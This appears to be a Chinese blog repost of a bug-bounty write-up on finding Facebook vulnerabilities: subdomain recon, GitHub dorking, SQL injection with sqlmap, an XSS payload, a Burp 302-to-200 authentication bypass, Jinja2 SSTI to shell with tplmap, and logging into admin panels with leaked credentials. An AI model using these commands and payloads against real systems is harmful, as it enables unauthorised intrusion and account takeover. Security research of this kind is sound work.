今天来看看一位国外白帽子小哥如何在一个月的时间内,利用自己的方法和工具挖掘出数个FaceBook漏洞的。
首先来看看这位白帽小哥在一个月内都发现了哪些漏洞:
1、SSTI致RCE (严重)
2 、2处 SQL注入 (严重)
3 、认证绕过 (严重)
4 、提权 (严重)
5、多个反射型XSS (中危)
接着我们看看这位小哥用到的工具:
-
FFUF/Dirsearch 扫描工具
-
一个好的爆破字典
https://github.com/random-robbie/bruteforce-lists
-
Amass 子域枚举
使用举例:
-
域名枚举:
-
amass enum -passive -norecursive -noalts -df list-domains.txt -o subs.txt
-
-
针对早期域名的枚举:
-
amass enum -passive -norecursive -noalts -d domain-o subs.txt
-
Httpx、httprobe 以及 Nmap 主要用于探测http、https服务
使用举例:
# cat subs.txt | httpx -o live-subs.txt
# cat sub.txt | httprobe -p http:81 -p http:3000 -p https:3000 -p http:3001 -p https:3001 -p http:8000 -p http:8080 -p https:8443 -p https:10000 -p http:9000 -p https:9443 -c 50 | tee live-subs2.txt
-
Wappalyzer 浏览器插件,供快速查看网站架构信息
-
一些Burpsuite插件:
-
Collaborator
-
XSS Validator
-
Wsdler
-
.NET Beautifier
-
Bypass WAF
-
J2EEScan
-
Param Miner
-
Wayback Machine
-
JS Link Finder
-
Upload Scanner
-
Nucleus Burp Extension
-
Software Vulnerability Scanner
-
Active Scan++
也可以阅读骨哥之前的一篇文章,这些插件也很不错:推荐10款好用的BurpSuite插件
-
Acunetix Web Vulnerability Scanner,俗称AWVS。 必备神器!
最后,也是本文的干货重点,来看看这位小哥的挖洞思路:
第一步(踩点):
通过Github找到了一些感兴趣的域名:
-
org:facebookresearch ftp
-
org:facebookresearch Ldap
-
org:facebookresearch https://
进一步搜索:
-
org:facebookresearch language:python .php
很幸运的找到一处:
domain/login/_ajax/verify-2fa.php
而这些域名属于Instagram员工用于内部访问,通过测试,白帽子小哥发现使用了MySQL数据库,于是在一些参数中尝试注入:
sqlmap -r request.txt -p username --dbms="MySQL" --force-ssl --level 5 --risk 3 --dbs --hostname
非常幸运!他在这些网站中找到了2处SQL注入和2处XSS。
"><img src=x onerror=alert(1)>
同时,这位白帽小哥的另一位小伙伴也发现了一处认证绕过漏洞:
当访问domain/location/?5时,会被自动跳转至登录页面,但是通过Burp抓包访问时,发现重定向时的响应数据包的Content-Length非常大,在查看了302响应页面时,发现该页面缺乏认证手段,于是利用Burp的Match和Replace规则:
type: response header
match : HTTP/1.1 302 Found
replace: HTTP/1.1 200 ok
成功发现Location: ../login/?redirect=//location/?5
于是成功利用认证绕过,访问到domian//location/?5页面
第二步Shodan IP 与SSTI到RCE利用:
白帽小哥利用Shodan规则:
Ssl.cert.subject.CN:"facebook.com" 200
首先排除了一些非活跃的IP,然后发现这些IP中虽然开放了10000端口,但基本都未能利用。
于是小哥拿出nmap:Nmap -sV ip 一顿狂扫,发现了一些开放8443端口的服务,通过检测,发现这些主机基本都是FaceBook部署在AWS云上的。于是他将这些IP丢入AWVS扫描,尝试能否发现一些自己无法发现的漏洞。
在1小时后,AWVS的结果中显示一条可能存在SSTI的漏洞,这就像给白帽小哥来了一针肾上腺素,于是他开始尝试对该漏洞进行渗透。
这里他使用到了tplmap这款工具,这款工具可以帮助测试人员更好的发现SSTI漏洞利用手段:
git clone https://github.com/epinna/tplmap.git
使用举例:
./tplmap.py -u "https://ip:8443/consent?assignmentId=debugKUymD&hitId=debugiwTmj&mode=debug*"
成功得到以下结果:
GET parameter: mode
Engine: Jinja2
Injection: {{*}}
Context: text
OS: posix-linux
Technique: render
这让白帽小哥异常兴奋,于是继续尝试:
./tplmap.py -u "https://ip:8443/consent?assignmentId=debugKUymD&hitId=debugiwTmj&mode=debug*" --os-shell
小哥分别尝试了id和ping burp Collaborator,浅尝则止。
第三步,权限提升:
首先小哥希望获得更多的子域名,于是他尝试使用更加庞大的字典进行枚举,同时利用httprobe过滤出当前活跃的域名:
cat sub.txt | httprobe -p http:81 -p http:3000 -p https:3000 -p http:3001 -p https:3001 -p http:8000 -p http:8080 -p https:8443 -p https:10000 -p http:9000 -p https:9443 -c 50 | tee live-subs2.txt
于是发现了一些对外开放了10000端口的域名,而通过访问,发现有一些是可以无需认证就可以访问的,似乎是一些管理服务器的面板控制台,可以进行修改、删除、增加等操作。
于是白帽小哥希望尝试利用一些默认的账号密码登录那些具有验证措施的页面,但是都未能成功,通过检查一些站点,小哥也收集到了一些服务器信息,其中包含创建这些信息的管理员的全名,于是乎,他利用了5分钟的时间,在Github上搜索是否有泄漏的密码:
password
passwd
pwd
pass
pw
login
于是很快,他找到了一些泄漏信息:
$host = ************
$User = ************
$pwd = ************
尝试使用账号密码登录,BooM!成功登录并获得全部权限!
Full Access and Control
add users
del users
Etc...
同时白帽小哥还成功找到了一枚存储型XSS漏洞。
====正文结束====
本文始发于微信公众号(骨哥说事):如何在一个月内发现数个FaceBook漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论